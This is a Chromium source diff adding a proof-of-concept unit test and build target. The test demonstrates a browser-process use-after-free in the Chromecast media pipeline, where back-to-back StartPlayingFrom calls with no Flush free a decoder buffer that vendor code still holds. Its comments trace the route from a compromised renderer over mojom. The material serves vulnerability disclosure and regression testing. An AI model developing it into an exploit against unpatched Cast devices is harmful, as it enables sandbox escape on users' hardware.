diff --git a/chromecast/media/cma/BUILD.gn b/chromecast/media/cma/BUILD.gn index 7c19326f38be4..ed3b64cd965c3 100644 --- a/chromecast/media/cma/BUILD.gn +++ b/chromecast/media/cma/BUILD.gn @@ -58,6 +58,7 @@ cast_source_set("unittests") { "base/demuxer_stream_for_test.h", "base/multi_demuxer_stream_adapter_unittest.cc", "pipeline/audio_video_pipeline_impl_unittest.cc", + "pipeline/double_start_uaf_unittest.cc", "pipeline/media_pipeline_impl_unittest.cc", ] @@ -70,6 +71,7 @@ cast_source_set("unittests") { "//chromecast/media:libcast_media", "//chromecast/media/api", "//chromecast/media/api:test_support", + "//chromecast/media/common:media_pipeline_backend_manager", "//media", "//testing/gmock", "//testing/gtest", @@ -106,3 +108,21 @@ cast_source_set("unittests") { data = [ "//media/test/data/" ] } + +test("cast_double_start_uaf_poc") { + testonly = true + sources = [ "pipeline/double_start_uaf_unittest.cc" ] + deps = [ + ":test_support", + "//base", + "//base/test:run_all_unittests", + "//base/test:test_support", + "//chromecast/media/api", + "//chromecast/media/cma/base", + "//chromecast/media/cma/pipeline", + "//chromecast/media/common:media_pipeline_backend_manager", + "//chromecast/public/media", + "//media", + "//testing/gtest", + ] +} diff --git a/chromecast/media/cma/pipeline/double_start_uaf_unittest.cc b/chromecast/media/cma/pipeline/double_start_uaf_unittest.cc new file mode 100644 index 0000000000000..4bf1e4f968334 --- /dev/null +++ b/chromecast/media/cma/pipeline/double_start_uaf_unittest.cc @@ -0,0 +1,231 @@ +// Copyright 2025 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +// POC unit test demonstrating a browser-process use-after-free reachable from a +// compromised renderer via two back-to-back mojom::Renderer::StartPlayingFrom +// calls (no intervening Flush) on a Cast device. +// +// All code under test is real, in-tree Chromium code: +// - MediaPipelineImpl::StartPlayingFrom (no release-build state guard) +// - AvPipelineImpl::StartPlayingFrom (drops pushed_buffer_ ref) +// - VideoDecoderWrapper::PushBuffer (overwrites last ref) +// The only test-supplied component is a *contract-compliant* fake +// MediaPipelineBackend::VideoDecoder, standing in for the out-of-tree vendor +// shlib loaded via CastMediaShlib::CreateMediaPipelineBackend on shipping +// Chromecast / Nest Hub / Cast-enabled-TV silicon. Per the public contract +// (chromecast/public/media/media_pipeline_backend.h:82-99 and +// chromecast/public/media/cast_decoder_buffer.h:22-26), a vendor decoder that +// returns kBufferPending may retain the raw CastDecoderBuffer* and dereference +// it at any time before it calls Delegate::OnPushBufferComplete. Chromium is +// responsible for keeping the buffer alive for that window. This test shows +// Chromium violates that guarantee. + +#include +#include +#include + +#include "base/functional/bind.h" +#include "base/logging.h" +#include "base/run_loop.h" +#include "base/test/task_environment.h" +#include "chromecast/media/api/cma_backend.h" +#include "chromecast/media/api/decoder_buffer_base.h" +#include "chromecast/media/cma/pipeline/media_pipeline_impl.h" +#include "chromecast/media/cma/pipeline/video_pipeline_client.h" +#include "chromecast/media/cma/test/frame_generator_for_test.h" +#include "chromecast/media/cma/test/mock_frame_provider.h" +#include "chromecast/media/common/video_decoder_wrapper.h" +#include "chromecast/public/media/cast_decoder_buffer.h" +#include "chromecast/public/media/media_pipeline_backend.h" +#include "media/base/media_util.h" +#include "media/base/video_decoder_config.h" +#include "testing/gtest/include/gtest/gtest.h" + +namespace chromecast { +namespace media { + +namespace { + +// Fake vendor MediaPipelineBackend::VideoDecoder. This is the ONLY non-Chromium +// code in the chain, and it strictly follows the public CastDecoderBuffer / +// kBufferPending contract: when its hardware FIFO is full it stores the raw +// CastDecoderBuffer* and returns kBufferPending, then later (asynchronously, +// before invoking Delegate::OnPushBufferComplete) dereferences that pointer. +// CastDecoderBuffer is NOT refcounted, so the vendor cannot AddRef and MUST +// rely on Chromium's lifetime guarantee. +class ContractCompliantVendorVideoDecoder + : public MediaPipelineBackend::VideoDecoder { + public: + ContractCompliantVendorVideoDecoder() = default; + ~ContractCompliantVendorVideoDecoder() override = default; + + // MediaPipelineBackend::Decoder: + void SetDelegate(Delegate* delegate) override { delegate_ = delegate; } + + MediaPipelineBackend::BufferStatus PushBuffer( + CastDecoderBuffer* buffer) override { + push_count_++; + LOG(INFO) << "[vendor] PushBuffer #" << push_count_ << " raw=" << buffer + << " eos=" << buffer->end_of_stream(); + if (push_count_ == 1) { + // Simulate HW decode FIFO full: store the raw pointer (this is exactly + // what the public API hands us) and return kBufferPending. Per + // media_pipeline_backend.h:82-99 the caller MUST keep this object alive + // until we call delegate_->OnPushBufferComplete(). + pending_raw_buffer_ = buffer; + return MediaPipelineBackend::kBufferPending; + } + // For any subsequent push (which in production is itself a contract + // violation, since OnPushBufferComplete was never called for buffer #1), + // just accept it so the feed loop doesn't error out. + return MediaPipelineBackend::kBufferSuccess; + } + + // MediaPipelineBackend::VideoDecoder: + bool SetConfig(const VideoConfig& config) override { return true; } + void GetStatistics(Statistics* statistics) override {} + + // Called by the test to simulate the vendor's async decode slot opening, + // i.e. the vendor is about to consume the still-pending buffer it stored. + // The public contract says this is allowed at any point before + // OnPushBufferComplete is invoked. + void VendorAsyncDrain() { + ASSERT_NE(pending_raw_buffer_, nullptr); + LOG(INFO) << "[vendor] async drain: dereferencing stored " + "CastDecoderBuffer* " + << pending_raw_buffer_; + // Virtual call on a polymorphic CastDecoderBuffer through a raw pointer + // that — per the contract — Chromium promised to keep alive. ASAN will + // report heap-use-after-free here if Chromium broke that promise. + volatile int64_t ts = pending_raw_buffer_->timestamp(); + volatile size_t sz = pending_raw_buffer_->data_size(); + LOG(INFO) << "[vendor] read ts=" << ts << " size=" << sz; + if (delegate_) { + delegate_->OnPushBufferComplete(MediaPipelineBackend::kBufferSuccess); + } + } + + int push_count() const { return push_count_; } + + private: + Delegate* delegate_ = nullptr; + // Intentionally a raw pointer: this is the type the public vendor API + // (MediaPipelineBackend::Decoder::PushBuffer) hands to vendor code. + CastDecoderBuffer* pending_raw_buffer_ = nullptr; + int push_count_ = 0; +}; + +// Minimal CmaBackend that wires the REAL in-tree VideoDecoderWrapper around +// the fake vendor decoder above. In production this wiring is done by +// MediaPipelineBackendWrapper (chromecast/media/common/ +// media_pipeline_backend_wrapper.cc), which has no Chromium-side double-Start +// guard either; here we shortcut to just the relevant decoder wrapper since +// MediaPipelineBackendWrapper requires a full MediaPipelineBackendManager. +class TestCmaBackend : public CmaBackend { + public: + explicit TestCmaBackend(ContractCompliantVendorVideoDecoder* vendor) + : wrapper_(std::make_unique(vendor)) {} + ~TestCmaBackend() override = default; + + // CmaBackend: + AudioDecoder* CreateAudioDecoder() override { return nullptr; } + VideoDecoder* CreateVideoDecoder() override { return wrapper_.get(); } + bool Initialize() override { return true; } + // Mirrors in-tree backends (DCHECK-only state check; returns true on + // re-entry) and the public contract which says Start() is "called only when + // in Initialized state" — vendors have no reason to reject a second call. + bool Start(int64_t start_pts) override { return true; } + void Stop() override {} + bool Pause() override { return true; } + bool Resume() override { return true; } + int64_t GetCurrentPts() override { return 0; } + bool SetPlaybackRate(float rate) override { return true; } + void LogicalPause() override {} + void LogicalResume() override {} + + private: + std::unique_ptr wrapper_; +}; + +std::unique_ptr MakeFrameProvider() { + // A handful of small unencrypted frames so BufferingFrameProvider has data to + // hand out for both StartPlayingFrom rounds. + constexpr int kNumFrames = 8; + std::vector specs(kNumFrames); + for (int i = 0; i < kNumFrames - 1; ++i) { + specs[i].has_config = (i == 0); + specs[i].timestamp = base::Microseconds(40000) * i; + specs[i].size = 256; + specs[i].has_decrypt_config = false; + } + specs.back().is_eos = true; + + auto generator = std::make_unique(specs); + auto provider = std::make_unique(); + // No artificial delay: deliver frames immediately so RunUntilIdle is enough. + provider->Configure(std::vector{false}, std::move(generator)); + return provider; +} + +} // namespace + +// In production this is reached as: +// compromised renderer +// -> media::mojom::Renderer::StartPlayingFrom (x2, no Flush between) +// -> MojoRendererService::StartPlayingFrom (no state guard) +// -> CastRenderer::StartPlayingFrom (no state guard) +// -> MediaPipelineImpl::StartPlayingFrom (DCHECK-only) <- here +// -> AvPipelineImpl::StartPlayingFrom (DCHECK-only; drops ref) +// -> VideoDecoderWrapper::PushBuffer (overwrites last ref) +// -> vendor decoder dereferences freed CastDecoderBuffer* +TEST(CastDoubleStartPlayingFromUAF, VendorPendingBufferFreed) { + base::test::SingleThreadTaskEnvironment task_environment; + + ContractCompliantVendorVideoDecoder vendor; + auto backend = std::make_unique(&vendor); + + MediaPipelineImpl pipeline; + // Disable buffering controller to keep the path minimal (CastRenderer also + // runs with buffering disabled when embedded — see cast_renderer.cc). + pipeline.Initialize(kLoadTypeURL, std::move(backend), + /*is_buffering_enabled=*/false); + + std::vector<::media::VideoDecoderConfig> configs; + configs.emplace_back( + ::media::VideoCodec::kH264, ::media::H264PROFILE_MAIN, + ::media::VideoDecoderConfig::AlphaMode::kIsOpaque, + ::media::VideoColorSpace(), ::media::kNoTransformation, + gfx::Size(640, 480), gfx::Rect(0, 0, 640, 480), gfx::Size(640, 480), + ::media::EmptyExtraData(), ::media::EncryptionScheme::kUnencrypted); + ASSERT_EQ(::media::PIPELINE_OK, + pipeline.InitializeVideo(configs, VideoPipelineClient(), + MakeFrameProvider())); + + // ---- StartPlayingFrom #1 (legitimate) ------------------------------------ + pipeline.StartPlayingFrom(base::Milliseconds(0)); + task_environment.RunUntilIdle(); + // Buffer A was pushed; vendor returned kBufferPending and holds raw A*. + ASSERT_EQ(1, vendor.push_count()); + + // ---- StartPlayingFrom #2 (renderer-controlled, no Flush) ----------------- + // MojoRendererService / CastRenderer / MediaPipelineImpl have no release- + // build guard, so this reaches AvPipelineImpl::StartPlayingFrom while + // state_ == kPlaying. Line 88 there sets pushed_buffer_ = nullptr (ref #1 to + // A dropped) and re-arms the feed loop. + pipeline.StartPlayingFrom(base::Milliseconds(10)); + task_environment.RunUntilIdle(); + // The re-armed feed loop pushed buffer B through VideoDecoderWrapper, whose + // `pushed_buffer_ = std::move(buffer)` overwrote the LAST scoped_refptr to A + // and freed it — while the vendor still holds raw A* under an outstanding + // kBufferPending contract. + ASSERT_GE(vendor.push_count(), 2); + + // ---- Vendor's async decode slot opens ------------------------------------ + // Contract says vendor may dereference its stored raw pointer any time before + // it calls OnPushBufferComplete. ASAN: heap-use-after-free. + vendor.VendorAsyncDrain(); +} + +} // namespace media +} // namespace chromecast